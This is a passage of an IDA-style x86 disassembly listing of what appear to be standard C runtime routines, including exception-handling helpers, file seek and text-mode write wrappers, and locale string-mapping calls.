var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DBE68
mov [ebp+var_1C], ecx
mov ecx, dword_4DBE6C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DBE68, edi
mov ecx, [ebp+arg_8]
mov dword_4DBE6C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D331
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422AF2
mov eax, [ebp+var_2C]
loc_422AB9: ; CODE XREF: sub_422AD2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422A2C endp
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: .rdata:004278C8o
push dword ptr [ebp-14h]
call sub_422B38
pop ecx
retn
sub_422AC8 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: .rdata:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D592
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; =============== S U B R O U T I N E =======================================
sub_422AEA proc near ; DATA XREF: .rdata:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
sub_422AEA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DBE68, eax
mov eax, [ebp-20h]
mov dword_4DBE6C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422B37
cmp dword ptr [edi+10h], 3
jnz short locret_422B37
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422B37
cmp [ebp-24h], ebx
jnz short locret_422B37
cmp [ebp-2Ch], ebx
jz short locret_422B37
call sub_41D5FA
push eax
push edi
call sub_422D26
pop ecx
pop ecx
locret_422B37: ; CODE XREF: sub_422AF2+1Cj
; sub_422AF2+22j ...
retn
sub_422AF2 endp
; =============== S U B R O U T I N E =======================================
sub_422B38 proc near ; CODE XREF: sub_422AC8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422B5F
cmp dword ptr [eax+10h], 3
jnz short loc_422B5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422B5F
cmp dword ptr [eax+1Ch], 0
jnz short loc_422B5F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422B38+Cj
; sub_422B38+12j ...
xor eax, eax
retn
sub_422B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422D0B
cmp byte ptr [eax+8], 0
jz loc_422D0B
mov eax, [ecx+8]
test eax, eax
jz loc_422D0B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422BFF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422BF0: ; CODE XREF: sub_422B62+F5j
push eax
call sub_422D8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422D07
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_422B62+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422C59
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D670
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422D07
mov eax, [edi]
test eax, eax
jz loc_422D07
add esi, 8
push esi
jmp short loc_422BF0
; ---------------------------------------------------------------------------
loc_422C59: ; CODE XREF: sub_422B62+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422CA1
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push edi
call sub_41D670
add esp, 0Ch
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CA1: ; CODE XREF: sub_422B62+103j
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+18h]
call sub_424FB8
pop ecx
test eax, eax
jz short loc_422D02
test byte ptr [esi], 4
jz short loc_422CE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D2A5
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CE8: ; CODE XREF: sub_422B62+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D29E
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422D02: ; CODE XREF: sub_422B62+6Aj
; sub_422B62+7Cj ...
call sub_422E52
loc_422D07: ; CODE XREF: sub_422B62+98j
; sub_422B62+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422D0B: ; CODE XREF: sub_422B62+2Ej
; sub_422B62+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B62 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D26 proc near ; CODE XREF: sub_422651+170p
; sub_422AF2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278E0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422D6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422D6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41D29E
or [ebp+var_4], 0FFFFFFFFh
loc_422D6D: ; CODE XREF: sub_422D26+2Aj
; sub_422D26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422D26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp
; sub_422B62+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422DAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422DAE: ; CODE XREF: sub_422D8D+12j
pop esi
retn
sub_422D8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DB0 proc near ; CODE XREF: sub_41D331+40p
; sub_4228FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D61D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422DEF
mov ecx, 2
loc_422DEF: ; CODE XREF: sub_422DB0+38j
push ecx
call sub_41D61D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j
; sub_42299B:loc_4229ACj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DBE74
test eax, eax
jz short loc_422E44
mov [ebp+var_4], 1
call eax
jmp short loc_422E40
; ---------------------------------------------------------------------------
loc_422E39: ; DATA XREF: .rdata:00427900o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E3D: ; DATA XREF: .rdata:00427904o
mov esp, [ebp+var_18]
loc_422E40: ; CODE XREF: sub_422DFC+3Bj
and [ebp+var_4], 0
loc_422E44: ; CODE XREF: sub_422DFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422E4D: ; DATA XREF: .rdata:004278F8o
jmp loc_424FD0
sub_422DFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p
; sub_41D4D3:loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D444
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: .rdata:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: .rdata:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: .rdata:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p
; sub_41D9B3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD388
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call sub_41E717
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD384
call ds:dword_42704C ; RtlSizeHeap
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; =============== S U B R O U T I N E =======================================
sub_422F09 proc near ; CODE XREF: sub_41DA8B+67p
; sub_41F9BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DD140
push esi
push edi
jnb short loc_422F8B
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422F8B
push eax
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422F4D
mov dword_4DBDDC, 9
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F4D: ; CODE XREF: sub_422F09+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call ds:dword_427128 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422F6D
call ds:dword_427094 ; RtlGetLastWin32Error
jmp short loc_422F6F
; ---------------------------------------------------------------------------
loc_422F6D: ; CODE XREF: sub_422F09+5Aj
xor eax, eax
loc_422F6F: ; CODE XREF: sub_422F09+62j
test eax, eax
jz short loc_422F7C
push eax
call sub_420C7F
pop ecx
jmp short loc_422F9C
; ---------------------------------------------------------------------------
loc_422F7C: ; CODE XREF: sub_422F09+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422F9F
; ---------------------------------------------------------------------------
loc_422F8B: ; CODE XREF: sub_422F09+Dj
; sub_422F09+2Aj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_422F9C: ; CODE XREF: sub_422F09+42j
; sub_422F09+71j
or eax, 0FFFFFFFFh
loc_422F9F: ; CODE XREF: sub_422F09+80j
pop edi
pop esi
pop ebx
retn
sub_422F09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FA3 proc near ; CODE XREF: sub_41DA8B+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422FBF
mov [edi+4], ebx
loc_422FBF: ; CODE XREF: sub_422FA3+17j
push 1
push ebx
push esi
call sub_422F09
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42302D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422FE4
sub eax, [edi+4]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_422FE4: ; CODE XREF: sub_422FA3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_42301E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DD040[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_423035
mov edx, ecx
loc_42300F: ; CODE XREF: sub_422FA3+79j
cmp edx, eax
jnb short loc_423035
cmp byte ptr [edx], 0Ah
jnz short loc_42301B
inc [ebp+var_8]
loc_42301B: ; CODE XREF: sub_422FA3+73j
inc edx
jmp short loc_42300F
; ---------------------------------------------------------------------------
loc_42301E: ; CODE XREF: sub_422FA3+50j
test dl, 80h
jnz short loc_423035
mov dword_4DBDDC, 16h
loc_42302D: ; CODE XREF: sub_422FA3+2Dj
or eax, 0FFFFFFFFh
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423035: ; CODE XREF: sub_422FA3+68j
; sub_422FA3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_423043
mov eax, [ebp+var_8]
jmp loc_4230F6
; ---------------------------------------------------------------------------
loc_423043: ; CODE XREF: sub_422FA3+96j
test byte ptr [edi+0Ch], 1
jz loc_4230EE
mov edx, [edi+4]
test edx, edx
jnz short loc_42305C
and [ebp+var_8], edx
jmp loc_4230EE
; ---------------------------------------------------------------------------
loc_42305C: ; CODE XREF: sub_422FA3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_4230E8
push 2
push 0
push [ebp+var_C]
call sub_422F09
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4230AF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42309A: ; CODE XREF: sub_422FA3+104j
cmp eax, ecx
jnb short loc_4230A9
cmp byte ptr [eax], 0Ah
jnz short loc_4230A6
inc [ebp+arg_0]
loc_4230A6: ; CODE XREF: sub_422FA3+FEj
inc eax
jmp short loc_42309A
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422FA3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_4230E3
; ---------------------------------------------------------------------------
loc_4230AF: ; CODE XREF: sub_422FA3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422F09
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4230D6
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4230D6
test ch, 4
jz short loc_4230D9
loc_4230D6: ; CODE XREF: sub_422FA3+124j
; sub_422FA3+12Cj
mov eax, [edi+18h]
loc_4230D9: ; CODE XREF: sub_422FA3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_4230E3: ; CODE XREF: sub_422FA3+10Aj
jz short loc_4230E8
inc [ebp+arg_0]
loc_4230E8: ; CODE XREF: sub_422FA3+D9j
; sub_422FA3:loc_4230E3j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_4230EE: ; CODE XREF: sub_422FA3+A4j
; sub_422FA3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_4230F6: ; CODE XREF: sub_422FA3+3Cj
; sub_422FA3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p
; sub_41E42B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DD140
push esi
push edi
jnb loc_42328F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_42328F
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42314C
loc_423145: ; CODE XREF: sub_4230FB+177j
xor eax, eax
jmp loc_4232A3
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_4230FB+48j
test al, 20h
jz short loc_42315C
push 2
push edi
push ecx
call sub_422F09
add esp, 0Ch
loc_42315C: ; CODE XREF: sub_4230FB+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_42322B
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423263
loc_42317C: ; CODE XREF: sub_4230FB+F5j
lea eax, [ebp+var_414]
loc_423182: ; CODE XREF: sub_4230FB+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4231B6
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4231A1
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4231A1: ; CODE XREF: sub_4230FB+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423182
loc_4231B6: ; CODE XREF: sub_4230FB+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_4270F0 ; WriteFile
test eax, eax
jz short loc_423220
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4231F2
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42317C
loc_4231F2: ; CODE XREF: sub_4230FB+EAj
; sub_4230FB+12Ej
xor edi, edi
loc_4231F4: ; CODE XREF: sub_4230FB+150j
; sub_4230FB+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42328A
cmp [ebp+arg_0], edi
jz short loc_423263
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_423258
mov dword_4DBDDC, 9
mov dword_4DBDE0, eax
jmp loc_4232A0
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_4230FB+E0j
call ds:dword_427094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4231F2
; ---------------------------------------------------------------------------
loc_42322B: ; CODE XREF: sub_4230FB+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call ds:dword_4270F0 ; WriteFile
test eax, eax
jz short loc_42324D
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_42324D: ; CODE XREF: sub_4230FB+145j
call ds:dword_427094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4231F4
; ---------------------------------------------------------------------------
loc_423258: ; CODE XREF: sub_4230FB+10Fj
push [ebp+arg_0]
call sub_420C7F
pop ecx
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_423263: ; CODE XREF: sub_4230FB+7Bj
; sub_4230FB+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_423278
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423145
loc_423278: ; CODE XREF: sub_4230FB+16Fj
mov dword_4DBDDC, 1Ch
mov dword_4DBDE0, edi
jmp short loc_4232A0
; ---------------------------------------------------------------------------
loc_42328A: ; CODE XREF: sub_4230FB+FEj
sub eax, [ebp+var_10]
jmp short loc_4232A3
; ---------------------------------------------------------------------------
loc_42328F: ; CODE XREF: sub_4230FB+15j
; sub_4230FB+37j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_4232A0: ; CODE XREF: sub_4230FB+120j
; sub_4230FB+166j ...
or eax, 0FFFFFFFFh
loc_4232A3: ; CODE XREF: sub_4230FB+4Cj
; sub_4230FB+192j
pop edi
pop esi
pop ebx
leave
retn
sub_4230FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p
; sub_41DE4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBE78, edi
jnz short loc_42331E
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427920
mov esi, 100h
push esi
push edi
call ds:dword_427044 ; LCMapStringW
test eax, eax
jz short loc_4232FC
mov dword_4DBE78, ebx
jmp short loc_42331E
; ---------------------------------------------------------------------------
loc_4232FC: ; CODE XREF: sub_4232A8+4Aj
push edi
push edi
push ebx
push offset word_4CB88C
push esi
push edi
call ds:dword_427048 ; LCMapStringA
test eax, eax
jz loc_423436
mov dword_4DBE78, 2
loc_42331E: ; CODE XREF: sub_4232A8+2Ej
; sub_4232A8+52j
cmp [ebp+arg_C], edi
jle short loc_423333
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4234CC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_423333: ; CODE XREF: sub_4232A8+79j
mov eax, dword_4DBE78
cmp eax, 2
jnz short loc_42335A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427048 ; LCMapStringA
jmp loc_423438
; ---------------------------------------------------------------------------
loc_42335A: ; CODE XREF: sub_4232A8+93j
cmp eax, 1
jnz loc_423436
cmp [ebp+arg_18], edi
jnz short loc_423370
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_423370: ; CODE XREF: sub_4232A8+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call ds:dword_4270E8 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_423436
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4233CB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_4233CB: ; CODE XREF: sub_4232A8+10Ej
cmp [ebp+var_24], edi
jz short loc_423436
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call ds:dword_4270E8 ; MultiByteToWideChar
test eax, eax
jz short loc_423436
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427044 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_423436
test byte ptr [ebp+arg_4+1], 4
jz short loc_42344A
cmp [ebp+arg_14], edi
jz loc_4234C5
cmp esi, [ebp+arg_14]
jg short loc_423436
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427044 ; LCMapStringW
test eax, eax
jnz loc_4234C5
loc_423436: ; CODE XREF: sub_4232A8+66j
; sub_4232A8+B5j ...
xor eax, eax
loc_423438: ; CODE XREF: sub_4232A8+ADj
; sub_4232A8+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42344A: ; CODE XREF: sub_4232A8+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42347E
